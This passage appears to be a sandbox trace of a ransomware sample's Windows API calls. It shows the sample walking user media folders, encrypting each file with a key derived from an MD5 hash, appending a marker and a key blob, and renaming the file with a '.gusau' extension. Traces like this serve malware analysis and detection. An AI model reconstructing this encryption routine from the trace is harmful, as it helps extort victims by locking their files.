hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.801] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.801] GetLastError () returned 0x0 [0118.801] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.801] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.802] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf386, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.802] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.802] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.802] CloseHandle (hObject=0x610) returned 1 [0118.803] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\VFWyDHM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\vfwydhm.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\VFWyDHM.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\vfwydhm.png.gusau")) returned 1 [0118.804] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ce2340, ftCreationTime.dwHighDateTime=0x1d4d24f, ftLastAccessTime.dwLowDateTime=0xd74e7110, ftLastAccessTime.dwHighDateTime=0x1d4cebd, ftLastWriteTime.dwLowDateTime=0xd74e7110, ftLastWriteTime.dwHighDateTime=0x1d4cebd, nFileSizeHigh=0x0, nFileSizeLow=0xf386, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VFWyDHM.png", cAlternateFileName="")) returned 0 [0118.804] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.804] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.804] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\") returned="muLwtSyMNArdmekL\\" [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.804] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0118.804] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.805] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.805] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.805] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.805] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.805] PathFindFileNameW (pszPath="") returned="" [0118.805] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5eb0890, ftCreationTime.dwHighDateTime=0x1d4cc07, ftLastAccessTime.dwLowDateTime=0x711145c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb3, ftLastWriteTime.dwLowDateTime=0x711145c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.807] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.807] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5eb0890, ftCreationTime.dwHighDateTime=0x1d4cc07, ftLastAccessTime.dwLowDateTime=0x711145c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb3, ftLastWriteTime.dwLowDateTime=0x711145c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.807] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb031b040, ftCreationTime.dwHighDateTime=0x1d4d4e6, ftLastAccessTime.dwLowDateTime=0x3c705a50, ftLastAccessTime.dwHighDateTime=0x1d4d197, ftLastWriteTime.dwLowDateTime=0x3c705a50, ftLastWriteTime.dwHighDateTime=0x1d4d197, nFileSizeHigh=0x0, nFileSizeLow=0x3df5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a9qF7OuHrZ4T.flv", cAlternateFileName="A9QF7O~1.FLV")) returned 1 [0118.807] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.807] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.807] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.807] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\a9qF7OuHrZ4T.flv") returned=".flv" [0118.807] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\a9qF7OuHrZ4T.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\a9qf7ouhrz4t.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.807] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=15861) returned 1 [0118.807] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.809] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3dcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.810] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.811] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.811] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.811] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.811] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x3df5, lpOverlapped=0x0) returned 1 [0118.811] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.812] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.812] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.812] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.812] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.812] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.812] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.812] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.812] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.812] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.813] GetLastError () returned 0x0 [0118.813] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.813] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.813] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.813] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3e00) returned 0x39f9f20 [0118.813] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.813] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.813] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x3df0, lpOverlapped=0x0) returned 1 [0118.813] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.813] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3df5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.813] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.813] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.813] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.813] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.813] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.813] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.813] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.813] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.813] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.814] CloseHandle (hObject=0x610) returned 1 [0118.814] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.814] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.814] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.814] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\a9qF7OuHrZ4T.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\a9qf7ouhrz4t.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\a9qF7OuHrZ4T.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\a9qf7ouhrz4t.flv.gusau")) returned 1 [0118.815] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.815] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.816] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.816] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca4f8c0, ftCreationTime.dwHighDateTime=0x1d4d535, ftLastAccessTime.dwLowDateTime=0x6e191b90, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0x6e191b90, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0x13591, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KEz1B VUjzGhZ.swf", cAlternateFileName="KEZ1BV~1.SWF")) returned 1 [0118.816] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.816] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.816] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.816] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\KEz1B VUjzGhZ.swf") returned=".swf" [0118.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\KEz1B VUjzGhZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\kez1b vujzghz.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.817] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=79249) returned 1 [0118.817] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.819] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1356b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.819] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.821] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.821] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13591, lpOverlapped=0x0) returned 1 [0118.822] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.822] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.822] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.822] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.823] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.823] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.823] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.823] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.823] GetLastError () returned 0x0 [0118.823] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.823] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x13590) returned 0x39f9f20 [0118.823] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.823] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1358c, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1358c, lpOverlapped=0x0) returned 1 [0118.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.824] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.824] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.824] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.824] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.824] CloseHandle (hObject=0x610) returned 1 [0118.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\KEz1B VUjzGhZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\kez1b vujzghz.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\KEz1B VUjzGhZ.swf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\kez1b vujzghz.swf.gusau")) returned 1 [0118.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.826] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.827] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6210f0, ftCreationTime.dwHighDateTime=0x1d4cc8f, ftLastAccessTime.dwLowDateTime=0x132a77e0, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0x132a77e0, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0x8bf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrLl7FRJlURSY01.flv", cAlternateFileName="RRLL7F~1.FLV")) returned 1 [0118.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd6) returned 0x38d05a0 [0118.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.827] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\RrLl7FRJlURSY01.flv") returned=".flv" [0118.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\RrLl7FRJlURSY01.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\rrll7frjlursy01.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.827] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=35824) returned 1 [0118.827] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.829] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8bca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.830] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.831] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.831] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8bf0, lpOverlapped=0x0) returned 1 [0118.832] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.832] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.832] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.832] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.833] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.833] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.833] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.833] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.833] GetLastError () returned 0x0 [0118.833] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.833] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: 